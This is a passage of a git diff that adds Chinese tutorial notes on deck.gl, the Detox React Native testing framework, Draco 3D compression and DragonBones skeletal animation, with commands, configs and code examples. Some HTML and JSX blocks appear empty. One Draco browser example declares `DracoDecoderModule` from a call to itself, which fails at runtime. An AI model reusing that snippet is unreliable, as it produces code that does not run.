200] +})); + +const deck = new Deck({ + initialViewState: { + longitude: -122.45, + latitude: 37.78, + zoom: 11, + pitch: 30 + }, + controller: true, + layers: [ + new ScatterplotLayer({ + id: 'scatter', + data: DATA, + pickable: true, + stroked: false, + getPosition: d => d.position, + getRadius: d => d.radius, + getFillColor: d => d.color, + radiusMinPixels: 2, + radiusMaxPixels: 20 + }) + ], + onClick: info => { + if (info.object) console.log('picked', info.object); + } +}); +``` + +**要点**:`radiusMinPixels` / `radiusMaxPixels` 限制屏幕像素半径,避免 zoom 很大时圆点遮满屏;`pickable` + `onClick` 实现「点选数据行」。 + +### 案例 2:React + MapLibre 叠加 Hexagon 聚合 + +典型产品栈:`DeckGL` 透明 canvas 叠在 MapLibre 上,用 HexagonLayer 把百万点聚合成六边形柱: + +```tsx +import {useState} from 'react'; +import {DeckGL} from '@deck.gl/react'; +import {HexagonLayer} from '@deck.gl/aggregation-layers'; +import Map from 'react-map-gl/maplibre'; +import 'maplibre-gl/dist/maplibre-gl.css'; + +type Point = {lng: number; lat: number}; + +export function TripHexMap({points}: {points: Point[]}) { + const [viewState, setViewState] = useState({ + longitude: -73.98, + latitude: 40.75, + zoom: 11, + pitch: 45, + bearing: 0 + }); + + const layers = [ + new HexagonLayer({ + id: 'hex', + data: points, + pickable: true, + extruded: true, + radius: 200, + elevationScale: 50, + getPosition: d => [d.lng, d.lat], + getElevationWeight: 1, + getColorWeight: 1 + }) + ]; + + return ( + setViewState(vs as typeof viewState)} + controller + layers={layers} + > + + + ); +} +``` + +**要点**:`extruded: true` 把聚合计数拉成 3D 柱;`radius` 单位是米(Web Mercator 空间);子组件 `Map` 作为 `DeckGL` 的 child,viewport 自动对齐——这是 React 集成的推荐姿势。 + +### 案例 3:PathLayer + TripLayer 动画轨迹 + +GPS 轨迹、物流路径是 Uber 最早用 deck.gl 的场景。`PathLayer` 画静态折线;`TripLayer` 在路径上按时间戳播放「光点」: + +```tsx +import {PathLayer} from '@deck.gl/layers'; +import {TripsLayer} from '@deck.gl/geo-layers'; + +const trips = [ + { + path: [ + [-122.45, 37.78], + [-122.44, 37.79], + [-122.43, 37.80] + ], + timestamps: [0, 500, 1000] // 毫秒,与 currentTime 对齐 + } +]; + +const layers = [ + new PathLayer({ + id: 'route', + data: trips, + getPath: d => d.path, + getColor: [0, 128, 255], + widthMinPixels: 2 + }), + new TripsLayer({ + id: 'vehicles', + data: trips, + getPath: d => d.path, + getTimestamps: d => d.timestamps, + getColor: [255, 200, 0], + opacity: 0.9, + trailLength: 180, + currentTime: animationTime // 每帧 requestAnimationFrame 递增 + }) +]; +``` + +**要点**:`currentTime` 与 `getTimestamps` 同一单位;`trailLength` 控制尾迹长度(毫秒)。动画循环里只更新 `currentTime` 并 `setLayers`,不必每帧重传整条 path。 + +### 案例 4:Script Tag 快速试验(Observable / CodePen) + +官方 standalone bundle 暴露全局 `deck`,适合原型: + +```html + + +``` + +## 常见坑 + +1. **Layer 上直接改 props 不生效**:必须 `new ScatterplotLayer({...sameId, data: newData})` 再传给 `Deck`/`DeckGL`。 +2. **忘记同 id**:换 Layer 类型但 id 冲突会导致生命周期混乱。 +3. **地理坐标顺序**:始终是 `[longitude, latitude]`,不是 lat-first 的 GeoJSON 习惯写反。 +4. **大数据仍用 JSON 数组**:超过 ~10⁵ 行考虑二进制列或 loaders.gl + `updateTriggers` 精细控制刷新。 +5. **与 React Strict Mode 双挂载**:开发环境 effect 跑两次可能重复创建 Deck;用 ref 存实例并在 cleanup 里 `finalize()`。 +6. **底图 token 与 CORS**:Mapbox token、瓦片域名白名单要在部署环境配好,否则只有 deck 图层、底图空白。 + +## 生态与版本脉络 + +- **2016**:Uber 内部可视化需求开源,Layer 组合 + Mapbox overlay 架构定型。 +- **2018–2020**:kepler.gl 爆火,aggregation-layers、TripLayer 等成为标准工具。 +- **2024 v9**:基于 luma.gl v9,为 WebGPU 铺路;新增 `@deck.gl/widgets` UI 控件。 +- **姊妹项目**:[[luma-gl]](GPU)、loaders.gl(IO)、math.gl(矩阵/投影)、react-map-gl(React 地图胶水)。 + +## 学习路径(零基础) + +1. 跑官方 examples 里 `get-started` 的 pure JS 模板,确认本地能出散点。 +2. 读 Layer catalog:先 Scatterplot / Path / Polygon,再 Hexagon / Heatmap。 +3. 接一个 MapLibre 底图,练 viewState 双向绑定。 +4. 用 loaders.gl 读 CSV/GeoJSON,把 `data` 换成真实文件。 +5. 需要编辑/Graph 时再看 deck.gl-community 扩展包。 + +## 自测题 + +1. 为什么 deck.gl 强调 Layer 不可变,这和 React 的 immutable update 有什么相似处? +2. `getPosition` 返回 `[lng, lat, 0]` 和返回 `[lng, lat]` 在 2D 地图模式下有何区别? +3. HexagonLayer 的 `radius` 与 ScatterplotLayer 的 `getRadius` 单位/语义有何不同? +4. 什么情况下应该用 `@deck.gl/geo-layers` 的 Tile3DLayer 而不是自己传点数组? + +## 参考资料 + +- 官方文档:https://deck.gl/docs +- Layer 目录:https://deck.gl/docs/api-reference/layers +- GitHub:https://github.com/visgl/deck.gl +- 姊妹笔记:[[luma-gl]]、[[visx]]、[[d3]]、[[observable-plot]] diff --git a/src/content/docs/projects/detox.md b/src/content/docs/projects/detox.md new file mode 100644 index 000000000..ca37617c5 --- /dev/null +++ b/src/content/docs/projects/detox.md @@ -0,0 +1,255 @@ +--- +title: Detox — React Native 灰盒端到端测试 +来源: https://github.com/wix/Detox +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +Detox 是 Wix 开源的 **React Native 端到端(E2E)测试框架**。它把测试脚本装进真机或模拟器里跑,像真人一样点按钮、输文字、滑列表,同时能「看见」应用内部的异步状态,从而减少传统移动端 E2E 最常见的 ** flaky(时好时坏)** 问题。 + +日常类比:黑盒测试像隔着磨砂玻璃看厨师做菜——你只能看到盘子端出来没有,不知道锅里还在不在翻炒,于是你只好每隔几秒掀一次盖(`sleep(2000)`),经常掀早了或掀晚了。Detox 的 **灰盒** 思路则是厨房装了透明侧窗:测试框架能感知 **网络请求是否结束、动画是否播完、JS 线程是否空闲**,菜真正「停火」了再动筷子,不必靠猜。 + +官方仓库:https://github.com/wix/Detox(MIT,11k+ stars)。底层 iOS 侧借助 XCUITest / EarlGrey 家族能力,Android 侧借助 Espresso,但测试代码统一用 **JavaScript / TypeScript + Jest** 编写。 + +最小登录流测试长这样: + +```javascript +describe('Login flow', () => { + beforeEach(async () => { + await device.reloadReactNative(); + }); + + it('should login successfully', async () => { + await element(by.id('email')).typeText('john@example.com'); + await element(by.id('password')).typeText('123456'); + + const loginButton = element(by.text('Login')); + await loginButton.tap(); + + await expect(loginButton).not.toExist(); + await expect(element(by.label('Welcome'))).toBeVisible(); + }); +}); +``` + +四五行交互 + 两行断言 = 一条完整用户路径。没有 `setTimeout`,因为 Detox 会在应用「空闲」后再执行下一步。 + +## 为什么重要 + +移动端 E2E 处在测试金字塔顶端:慢、贵、难维护。不理解 Detox,以下痛点很难系统性解决: + +- **「CI 上偶发失败、本地又过不了」**:黑盒工具不知道 RN 的 bridge 还在忙,断言时界面其实还在 re-render +- **RN 专属时序问题**:`FlatList` 虚拟化、导航转场、`useEffect` 触发的请求——固定 `sleep` 无法覆盖所有组合 +- **与 Web 端 Playwright 的分工**:Playwright 管浏览器;Detox 管 **装进设备的 RN 包**,二者 API 风格相近(`element` / `expect`),但同步模型完全不同 +- **和 Maestro / Appium 的选型**:Maestro 用 YAML、上手快;Appium 跨平台最广;Detox 在 **纯 RN 场景** 用灰盒同步换最低 flake 率——团队若把 RN 可靠性当第一优先级,Detox 仍是 2026 年的主流选项之一 + +Detox **只面向 React Native**(及 Wix 维护的少量原生接入场景),不能拿来测 Flutter、纯 Swift/Kotlin 应用——这是架构取舍,不是功能缺失。 + +## 核心概念 + +Detox 的心智模型可以压成五块: + +### 1. 灰盒同步(Gray-box synchronization) + +Detox 在应用内注入监听器,跟踪: + +- React Native **JS 线程** 是否还有排队的任务 +- **原生 UI 线程** 是否稳定 +- **网络** 与 **动画** 是否结束 + +只有当框架判定应用进入 **idle(空闲)** 状态,才执行下一条 `tap` / `typeText` / `expect`。这是它相对 Appium「盲等 UI 树变化」的核心差异。 + +### 2. 匹配器 `by.*` 与元素 `element()` + +找控件不靠 XPath 堆砌,而用 RN 测试 ID 与无障碍属性: + +| 匹配器 | 典型用途 | +|--------|----------| +| `by.id('login-btn')` | 对应 `testID` / `accessibilityIdentifier` | +| `by.text('登录')` | 可见文案 | +| `by.label('Submit')` | 无障碍 label | +| `by.type('RCTScrollView')` | 原生类型(少用) | + +原则:**给关键控件设 `testID`**,比依赖文案稳定——文案会随 i18n 变化。 + +### 3. `device` 与 `element` 命名空间 + +- `device`:应用级操作——`launchApp`、`reloadReactNative`、`sendToHome`、`setURL`(Deep Link)等 +- `element(by....)`:单个控件上的动作与断言 + +### 4. 配置三元组:`.detoxrc.js` + +`.detoxrc.js` 把三件事绑在一起: + +1. **apps**:如何 **build** 出待测二进制(`binaryPath` + `build` 命令) +2. **devices**:跑在哪个模拟器 / 真机(`ios.simulator`、`android.emulator`) +3. **configurations**:`设备 + app` 的组合名,例如 `ios.sim.debug` + +CLI 用法:`detox build -c ios.sim.debug` 然后 `detox test -c ios.sim.debug`。 + +### 5. Jest 作为测试运行器 + +Detox 官方默认集成 **Jest + jest-circus**。`e2e/jest.config.js` 里把 `testEnvironment` 设为 `detox/runners/jest/testEnvironment`,超时通常比单元测试长得多(分钟级),因为包含冷启动与整包构建。 + +## 环境准备与初始化 + +前置条件(2026 年官方兼容 RN `0.77`–`0.83`,含 New Architecture): + +- Node.js 18+ +- 可编译的 React Native 工程 +- **iOS**:macOS + Xcode 15+,建议 `brew install applesimutils`(Wix tap) +- **Android**:Android Studio、SDK、`ANDROID_HOME`、AVD 或真机 + +初始化步骤: + +```bash +npm install --save-dev detox jest jest-circus +npm install -g detox-cli # 可选,也可用 npx detox + +npx detox init +``` + +`detox init` 会生成 `.detoxrc.js` 与 `e2e/` 目录(含示例测试)。随后按项目改 `binaryPath` 与 `build` 命令——**这是 Detox 最难的一步**,没有万能模板,必须对齐你的 Xcode scheme / Gradle 变体。 + +## 实践案例 + +### 案例 1:带 `testID` 的登录 + 错误提示 + +应用侧(React Native)先埋点: + +```tsx + + + + Login + +{error ? {error} : null} +``` + +E2E 测试: + +```javascript +// e2e/login.test.js +const { device, element, by, expect } = require('detox'); + +describe('Login', () => { + beforeAll(async () => { + await device.launchApp({ newInstance: true }); + }); + + beforeEach(async () => { + await device.reloadReactNative(); + }); + + it('shows error on bad password', async () => { + await element(by.id('email')).typeText('user@example.com'); + await element(by.id('password')).typeText('wrong'); + await element(by.id('login-button')).tap(); + + await expect(element(by.id('error-message'))).toBeVisible(); + await expect(element(by.id('error-message'))).toHaveText('Invalid credentials'); + }); + + it('navigates home on success', async () => { + await element(by.id('email')).typeText('user@example.com'); + await element(by.id('password')).typeText('correct-secret'); + await element(by.id('login-button')).tap(); + + await expect(element(by.id('home-screen'))).toBeVisible(); + }); +}); +``` + +要点: + +- `launchApp` 在 `beforeAll` 做一次冷启动;`reloadReactNative` 在每个用例前清 JS 状态,比反复装包快 +- `toHaveText` 会等到文案出现且匹配——仍受益于灰盒同步 +- 失败时 `.detoxrc.js` 的 `artifacts.screenshot` / `video` 会在 `e2e/artifacts` 留下现场,便于 CI 排查 + +### 案例 2:列表滚动与 `.detoxrc.js` 片段 + +长列表里某项可能不在首屏,需要滚动再找: + +```javascript +it('opens item from scrollable list', async () => { + await element(by.id('product-list')).scrollTo('bottom'); + await element(by.id('product-item-42')).tap(); + await expect(element(by.id('product-detail-title'))).toHaveText('Item 42'); +}); +``` + +配置侧把 iOS 模拟器与 debug 包绑成一条命令: + +```javascript +// .detoxrc.js(节选) +module.exports = { + testRunner: { + args: { $0: 'jest', config: 'e2e/jest.config.js' }, + }, + apps: { + 'ios.debug': { + type: 'ios.app', + binaryPath: 'ios/build/Build/Products/Debug-iphonesimulator/MyApp.app', + build: + 'xcodebuild -workspace ios/MyApp.xcworkspace -scheme MyApp -configuration Debug -sdk iphonesimulator -derivedDataPath ios/build', + }, + }, + devices: { + simulator: { + type: 'ios.simulator', + device: { type: 'iPhone 16' }, + }, + }, + configurations: { + 'ios.sim.debug': { + device: 'simulator', + app: 'ios.debug', + }, + }, +}; +``` + +本地跑法: + +```bash +detox build -c ios.sim.debug +detox test -c ios.sim.debug --cleanup +``` + +`--cleanup` 在结束后关掉模拟器上的应用实例,避免状态泄漏到下一次运行。 + +## 与 Maestro、Appium 怎么选 + +| 维度 | Detox | Maestro | Appium | +|------|-------|---------|--------| +| 定位 | RN 灰盒 E2E | 声明式 YAML,多平台 | WebDriver 标准,最广 | +| 语言 | JS/TS | YAML + 少量扩展 | 多语言客户端 | +| 同步 | 感知 RN 内部 idle | 智能重试断言 | 主要靠显式等待 | +| 上手成本 | 高(要写原生 build) | 低 | 中高 | +| 适用 | 纯 RN、要稳 | 快速铺关键路径 | 混合技术栈 | + +务实组合:**Maestro 先盖住冒烟路径,Detox 守住登录/支付等复杂异步流**——不少团队在 2026 年采用这种双层策略。 + +## 常见坑与排错 + +1. **找不到元素**:八成是 `testID` 没设或设在了错误的包装组件上——用 Xcode Accessibility Inspector / Android Layout Inspector 核对 +2. **build 命令路径不对**:`binaryPath` 必须指向真实产物;改 scheme 名后要同步 `.detoxrc.js` +3. **Metro 端口**:Android debug 常需 `reversePorts: [8081]`,否则应用连不上打包服务 +4. **Expo**:裸工作流或 prebuild 后接入 Detox 最顺;纯托管工作流往往改走 Maestro 或官方 `expo-dev-client` + 自定义 native build +5. **WebView / 系统弹窗**:Detox 专注应用内 UI,系统权限框、跨应用跳转能力有限——这类场景要单独评估或换工具 + +## 和本仓库其他条目的关系 + +- **Expo**:开发构建与 OTA;Detox 负责 **装包后的行为验证** +- **Playwright**:Web 端 E2E;Detox 是移动端 RN 侧的对位工具 +- **fastlane**:负责签名与上架;可在 lane 里调用 `detox test` 做发版前门禁 + +## 小结 + +Detox 的价值不在于「能点按钮」——黑盒工具也能——而在于 **与 React Native 运行时共呼吸的同步模型**,把 E2E 从 `sleep` 赌博变成可预期的自动化。代价是 **仅限 RN、配置重、要学原生构建**。若你的产品是 RN 且 CI 上flake 已经折磨 QA,花一天把 `.detoxrc.js` 和第一条登录测试跑通,通常比反复人肉回归划算得多。 + +下一步阅读:官方 [Getting Started](https://wix.github.io/Detox/docs/introduction/getting-started) → [How Detox Works](https://wix.github.io/Detox/docs/articles/how-detox-works)(理解 idle 检测)→ 在 `e2e/` 为你最核心的用户路径写一条测试。 diff --git a/src/content/docs/projects/draco.md b/src/content/docs/projects/draco.md new file mode 100644 index 000000000..3ec179eac --- /dev/null +++ b/src/content/docs/projects/draco.md @@ -0,0 +1,267 @@ +--- +title: Draco — Google 3D 网格与点云压缩 +description: 专为 3D 几何设计的压缩库,用 EdgeBreaker 拓扑编码与属性预测把 mesh/点云体积压到 gzip 无法企及的比例,WebGL 与 glTF 管线标配 +来源: 'https://github.com/google/draco' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Draco** 是 Google 开源的 **3D 几何压缩库**(C++ 实现,Apache 2.0),专门压缩 **三角网格(mesh)** 和 **点云(point cloud)** 的顶点位置、法线、UV、颜色以及**面与面之间的连接关系(connectivity)**。压缩产物通常是 `.drc` 二进制;浏览器侧通过 **WASM + JavaScript** 解码,也可嵌入 glTF 的 `KHR_draco_mesh_compression` 扩展。 + +日常类比:一份 3D 模型像一本**立体拼装说明书**——不仅有每块零件的坐标(顶点属性),还有「A 面接 B 面、B 面接 C 面」的**拓扑关系**。普通 zip/gzip 只会把说明书页码打乱后整本压扁,**看不懂 3D 结构**;Draco 则像一位懂模型的编辑:先用 **EdgeBreaker** 把三角面遍历顺序编码成几个符号(C/S/L/R/E),再对坐标做**邻域预测 + 量化 + 熵编码**,只传「和邻居差多少」——体积往往比 gzip 小一个数量级,且解码后可直接渲染。 + +最小命令行压缩(需本地编译出 `draco_encoder`): + +```bash +./draco_encoder -i bunny.ply -o bunny.drc -cl 7 -qp 11 +``` + +`-cl` 是压缩级别(0–10,默认 7,越高体积越小、解码越慢);`-qp` 是位置量化比特数(默认 11,越大越精细、文件越大)。 + +## 为什么重要 + +零基础做 Web 3D、AR/VR 或资产管线,迟早会碰到 Draco: + +- **带宽是瓶颈**:手机加载未压缩 OBJ/glTF 动辄数十 MB;Draco 常把几何压到原来的 **5%–20%**,首屏与弱网体验差距巨大 +- **glTF 生态事实标准**:three.js、Babylon.js、PlayCanvas 等通过 Draco 扩展加载 `.glb`;Google 在 [gstatic](https://www.gstatic.com/draco/versioned/decoders/) 托管版本化 WASM 解码器,多站共享缓存 +- **与通用压缩分工明确**:gzip 对重复浮点坐标几乎无效;Draco 针对 **mesh 拓扑 + 属性相关性** 设计,二者常**叠加**(HTTP 传 Draco 二进制,外层仍可用 Brotli) +- **点云同样适用**:激光扫描、NeRF 预处理、SLAM 导出——`-point_cloud` 模式可只压顶点、忽略三角面 +- **和 [[assimp]] 互补**:Assimp **读** 40+ 格式进统一结构;Draco **压/解** 几何字节流——管线常见组合:Assimp 导入 → 引擎内网格 → Draco 编码 → CDN + +## 核心要点 + +Draco 的工作可以按「比特流里有什么」来理解(详见 [Bitstream Spec](https://google.github.io/draco/spec/)): + +### 1. 四段式比特流 + +| 段 | 内容 | +| --- | --- | +| Header | 魔数、版本、几何类型(mesh / point cloud) | +| Metadata(可选) | 自定义键值、属性名等 | +| Connectivity | 三角面如何连接——**最占巧思的部分** | +| Attributes | 位置、法线、UV、颜色等,经预测与量化后再熵编码 | + +解码顺序固定:`Header → Metadata? → Connectivity → Attributes`。 + +### 2. 两种网格拓扑编码 + +| 方法 | 枚举名 | 适用 | +| --- | --- | --- | +| Sequential | `MESH_SEQUENTIAL_ENCODING` | 简单顺序写三角索引,实现直、压缩率一般 | +| EdgeBreaker | `MESH_EDGEBREAKER_ENCODING` | 沿网格边遍历,用 C/S/L/R/E 符号描述拓扑,**默认首选** | + +EdgeBreaker 还有 **Valence** 等变体:利用顶点「连接几条边」的信息预测下一个符号,进一步降熵。类比:走迷宫时不存整张地图,只记「下一个路口左转还是右转」。 + +### 3. 属性:预测 → 变换 → 量化 → RANS + +顶点坐标、法线等不会 raw float 直接塞进去: + +1. **预测**:例如 Parallelogram 预测——用相邻三角形构成平行四边形,猜当前顶点属性 +2. **残差变换**:只编码「预测值与实际值的差」 +3. **量化**:`-qp`、`-qn`、`-qt` 等把 float 压到固定位数(位置默认 11 bit,法线 8 bit 等) +4. **熵编码**:用 **rANS**(Range Asymmetric Numeral Systems)打包符号 + +量化是**有损**的:比特越少,模型可能轻微抖动或法线略糊——要在体积与视觉之间 trade-off。 + +### 4. 点云编码 + +| 方法 | 说明 | +| --- | --- | +| `POINT_CLOUD_SEQUENTIAL_ENCODING` | 顺序写点属性 | +| `POINT_CLOUD_KD_TREE_ENCODING` | KD 树划分空间,大点云更高效 | + +命令:`draco_encoder -point_cloud -i scan.ply -o scan.drc` + +### 5. glTF 集成 + +`draco_transcoder` 可直接给 `.glb` 内 mesh 打 Draco 扩展: + +```bash +./draco_transcoder -i scene.glb -o scene_draco.glb -qp 12 +``` + +运行时只需 **解码器**(JS/WASM 或 C++),不必在客户端跑编码器。 + +### 6. Web 解码器加载方式 + +官方推荐**固定版本 URL**,避免 gstatic 边缘缓存导致偶发加载失败: + +```html + +``` + +NPM 包 `draco3d` 适合 Node 侧编解码;three.js 的 `DRACOLoader` 是对上述解码器的封装。 + +## 代码示例 + +### 示例 1:命令行编解码与参数扫参 + +```bash +# 编码:Stanford Bunny,压缩级别 10,位置 14 bit +./draco_encoder -i testdata/bun_zipper.ply -o bunny_cl10_qp14.drc -cl 10 -qp 14 + +# 对比文件大小 +ls -lh testdata/bun_zipper.ply bunny_cl10_qp14.drc + +# 解码回 OBJ 检查 +./draco_decoder -i bunny_cl10_qp14.drc -o bunny_out.obj +``` + +经验法则(来自官方 README 与 [Codelab](https://codelabs.developers.google.com/codelabs/draco-3d)): + +- `-qp 11` 对多数项目**肉眼难辨**差异 +- `-cl 10` 体积最小,但 WASM 解码更慢;交互式 Web 可试 `-cl 6`–`7` +- 对法线敏感的角色模型,可单独调 `-qn`(法线量化位数),避免 shading 出现条带 + +### 示例 2:浏览器中 WASM 解码(与 three.js 同思路) + +Draco 1.4+ 的 Emscripten 模块返回 **Promise**,需先异步初始化再解码: + +```javascript +async function loadDracoMesh(url) { + const DracoDecoderModule = await DracoDecoderModule(); // 或 createDecoderModule({}) + const response = await fetch(url); + const byteArray = new Uint8Array(await response.arrayBuffer()); + + const decoder = new DracoDecoderModule.Decoder(); + const buffer = new DracoDecoderModule.DecoderBuffer(); + buffer.Init(byteArray, byteArray.length); + + const geometryType = decoder.GetEncodedGeometryType(buffer); + if (geometryType !== DracoDecoderModule.TRIANGULAR_MESH) { + throw new Error('Expected triangular mesh'); + } + + const mesh = new DracoDecoderModule.Mesh(); + const status = decoder.DecodeBufferToMesh(buffer, mesh); + if (!status.ok() || mesh.ptr === 0) { + throw new Error('Draco decode failed: ' + status.error_msg()); + } + + const numPoints = mesh.num_points(); + const numFaces = mesh.num_faces(); + console.log(`decoded ${numPoints} points, ${numFaces} faces`); + + // 读取 POSITION 属性(需按 Draco API 拷贝到 Float32Array 再交给 three.js BufferGeometry) + DracoDecoderModule.destroy(mesh); + DracoDecoderModule.destroy(decoder); + DracoDecoderModule.destroy(buffer); +} + +loadDracoMesh('/models/bunny.drc'); +``` + +**内存注意**:WASM 侧创建的对象必须 `destroy()`,否则长时间浏览会泄漏。预分配静态内存可换约 **2×** 解码速度,但需事先知道最大网格规模。 + +### 示例 3:C++ 侧最小解码 + +```cpp +#include "draco/compression/decode.h" +#include "draco/core/decoder_buffer.h" + +std::vector ReadFile(const char* path); + +void DecodeDrc(const std::vector& data) { + draco::DecoderBuffer buffer; + buffer.Init(data.data(), data.size()); + + const draco::EncodedGeometryType type = + draco::GetEncodedGeometryType(&buffer); + + if (type == draco::TRIANGULAR_MESH) { + auto mesh = draco::DecodeMeshFromBuffer(&buffer); + if (!mesh) return; + // mesh->num_points(), mesh->num_faces(), 按属性 ID 读顶点 + } else if (type == draco::POINT_CLOUD) { + auto pc = draco::DecodePointCloudFromBuffer(&buffer); + } +} +``` + +链接 `draco_dec` 库即可;CMake 项目可用 `find_package(draco)`(1.5+ 起配置更完善)。 + +### 示例 4:Node.js 编解码(npm `draco3d`) + +服务端批量压模型、CI 里给 glTF 打 Draco,不必自己编译 C++,可直接用官方 NPM 包: + +```bash +npm install draco3d +cp node_modules/draco3d/draco_nodejs_example.js . +cp node_modules/draco3d/bunny.drc . +node draco_nodejs_example.js +``` + +示例脚本会:读入 `bunny.drc` → 解码为 mesh → 用不同量化参数再编码。若只做 glTF,可改用子包 `draco3dgltf`,API 与 glTF 扩展 `KHR_draco_mesh_compression` 对齐。 + +glTF 里 Draco 几何通常长这样(逻辑结构,非完整文件): + +```json +{ + "meshes": [{ + "primitives": [{ + "attributes": { "POSITION": 0, "NORMAL": 1 }, + "extensions": { + "KHR_draco_mesh_compression": { + "bufferView": 0, + "attributes": { "POSITION": 0, "NORMAL": 1 } + } + } + }] + }] +} +``` + +运行时从 `bufferView` 指向的二进制块取出 Draco 字节,交给 `DRACOLoader` 或 WASM 解码器即可。 + +## 与 gzip / 通用压缩的对比 + +| 维度 | gzip / Brotli | Draco | +| --- | --- | --- | +| 是否理解三角拓扑 | 否 | 是(EdgeBreaker 等) | +| 是否利用顶点邻域相关性 | 弱 | 强(预测编码) | +| 典型几何压缩比 | 接近 1:1 | 常 5:1–20:1+ | +| 是否无损 | 无损 | **默认有损**(量化可调) | +| 典型场景 | 文本、JSON、已压缩纹理 | mesh、点云、glTF 几何 | + +二者关系:**先 Draco 压几何,再 HTTP 压缩传文件**——不是二选一。 + +## 实践案例 + +### 案例 1:Web 商品 3D 展示 + +电商 `.glb` 从 8 MB 经 `draco_transcoder` 到 1.2 MB;配合 CDN + `DRACOLoader`,移动端 4G 下 2–3 秒内可交互——比传原始 glTF 少一次「用户划走」。 + +### 案例 2:AR 滤镜包体 + +iOS/Android 安装包对资源大小敏感;静态 `.drc` 打进包内,启动时用原生或 WASM 解码一次缓存到 GPU buffer,比存未压缩 OBJ 省闪存。 + +### 案例 3:点云预览 + +室内扫描 PLY 500 万点,`draco_encoder -point_cloud -cl 8` 后体积适合 Web 预览;KD 树模式对**稠密**点云更划算。 + +## 踩过的坑 + +1. **把 Draco 当 zip 用**:对已经是 Draco 的 `.drc` 再 gzip 收益有限;应对**源 mesh** 编码 +2. **量化过狠**:`-qp 8` 在大场景可能出现顶点 snap;先用 11 再按项目下调 +3. **gstatic 未锁版本**:用 `v1/decoders` 可能在发新版时有短暂 404/旧 WASM 混用——改用 `versioned/decoders/1.5.7/` +4. **忘记 destroy**:JS API 手动管理 WASM 对象;React 组件 unmount 时必须清理 +5. **法线未重算**:解码后若 shading 异常,检查编码时是否含 NORMAL,或在引擎里 `computeVertexNormals()` +6. **与 glTF 扩展不匹配**:glTF 用 `draco_decoder_gltf.js` 变体;纯 `.drc` 用标准 decoder +7. **EdgeBreaker 与非流形 mesh**:极端破面、非流形几何可能编码失败或质量差——导入前用 DCC 或 [[blender]] 清理 + +## 延伸阅读 + +- 官方仓库:[google/draco](https://github.com/google/draco) +- 比特流规范:[Draco Bitstream Specification](https://google.github.io/draco/spec/) +- 交互教程:[Optimizing 3D data with Draco — Google Codelab](https://codelabs.developers.google.com/codelabs/draco-3d) +- glTF 扩展:[KHR_draco_mesh_compression](https://github.com/KhronosGroup/glTF/tree/main/extensions/2.0/Khronos/KHR_draco_mesh_compression) +- 相关笔记:[[assimp]](多格式导入)、[[playcanvas]] / three.js(运行时加载) + +## 小结 + +Draco 解决的是 **「3D 几何在网络上怎么更小、更快到达 GPU」**——不是替代 [[assimp]] 或 DCC,而是压缩管线最后一环。记住三件事即可上手:**EdgeBreaker 压拓扑、预测+量化压属性、Web 用版本化 WASM 解码**;先用 `draco_encoder` / `draco_transcoder` 在命令行摸清 `-qp` 与 `-cl`,再接到 `DRACOLoader` 或 C++ `DecodeMeshFromBuffer`。 diff --git a/src/content/docs/projects/dragonbones.md b/src/content/docs/projects/dragonbones.md new file mode 100644 index 000000000..10ed9c939 --- /dev/null +++ b/src/content/docs/projects/dragonbones.md @@ -0,0 +1,224 @@ +--- +title: DragonBones — 国产开源骨骼动画 +来源: 'https://github.com/DragonBones/DragonBonesCPP' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**DragonBones**(龙骨)是一套**国产、开源、MIT 协议**的 **2D 骨骼动画**方案:美术在编辑器里给角色「绑骨」,程序在运行时只播放骨骼变换数据,而不是逐帧换整张图。日常类比:传统逐帧动画像翻**连环画**——每一页都是完整人物;骨骼动画像**提线木偶**——头、躯干、四肢是几块贴图,关节转动就能摆出走路、攻击、受伤等动作,贴图数量少得多,动作却更顺滑。 + +DragonBones 把链路拆成两半: + +| 角色 | 做什么 | +|------|--------| +| **创作端** | [LoongBones](http://www.loongbones.app/) / DragonBones Pro 等编辑器:时间轴打关键帧、IK、网格变形、换装 | +| **运行时** | 各语言 Runtime 解析导出的 JSON + 图集,在 PixiJS、Phaser、Cocos、Egret、Cocos2d-x、SFML 等引擎里渲染 | + +GitHub 上 Runtime 按语言分仓:[DragonBonesJS](https://github.com/DragonBones/DragonBonesJS)(TypeScript,约 1.4k star)、[DragonBonesCPP](https://github.com/DragonBones/DragonBonesCPP)(C++,约 430 star)、[DragonBonesCSharp](https://github.com/DragonBones/DragonBonesCSharp) 等。公共核心在 `DragonBones/` 目录,引擎适配层只负责「把骨骼画到屏幕上」。C++ 仓 README 明确推荐用 **DragonBones Pro / LoongBones** 制作资源,再接入 Cocos2d-x 或 SFML。 + +零基础可以记住一句话:**编辑器产出数据,Factory 解析数据,Armature 在屏幕上动。** + +## 为什么重要 + +不了解 DragonBones,下面几件事很难讲清楚: + +- 为什么 2D 手游角色能**一张图集、多套动作**,包体却比 GIF 逐帧小——骨骼只存关节矩阵和少量关键帧,不存每帧整图 +- 为什么**换装、换武器**常是一行代码换 Slot 贴图,而不是重做动画——贴图挂在 Slot 上,骨骼树不变 +- 为什么国内 H5、小游戏、Cocos 生态里常看到 `.json` + `_tex.png` 资源对——那是 DragonBones 标准导出格式 +- 它和 **Spine** 同属骨骼动画赛道,但 DragonBones 起源更早扎根国内引擎(白鹭 Egret、Cocos 系列),文档与社区以中文为主,对国产技术栈更友好 + +和「引擎自带精灵帧动画」相比:帧动画适合特效、UI 图标;**可交互角色**(跑、跳、受击、换装)更适合骨骼。和 Live2D 相比:DragonBones 偏**游戏侧** 2D 骨骼,不是面向直播的精细面部变形。 + +## 核心概念 + +### 1. 骨骼(Bone)——关节 + +Bone 是逻辑上的**关节节点**,负责平移、旋转、缩放。子骨骼跟随父骨骼变换,形成树形层级。类比:木偶的「上臂」转一下,「前臂」和「手」会一起跟着动(除非你在代码里单独改子骨)。 + +### 2. 插槽(Slot)——挂贴图的位置 + +Slot 挂在 Bone 上,**显示层**贴图(Display)挂在 Slot 里。一个 Slot 可切换不同贴图(换装),也可挂子 Armature(嵌套动画)。Bone 管「怎么动」,Slot 管「显示哪张皮」。 + +### 3. 骨架(Armature)——完整角色容器 + +**Armature** 是运行时核心对象:包含一棵 Bone 树、若干 Slot、一个 **Animation** 播放器。官方文档写得很直白:*Armature is the core of the skeleton animation system.* 你在舞台上看到的「一个会动的角色」,通常就是一个 Armature 实例(在 Pixi 里常叫 `armatureDisplay`)。 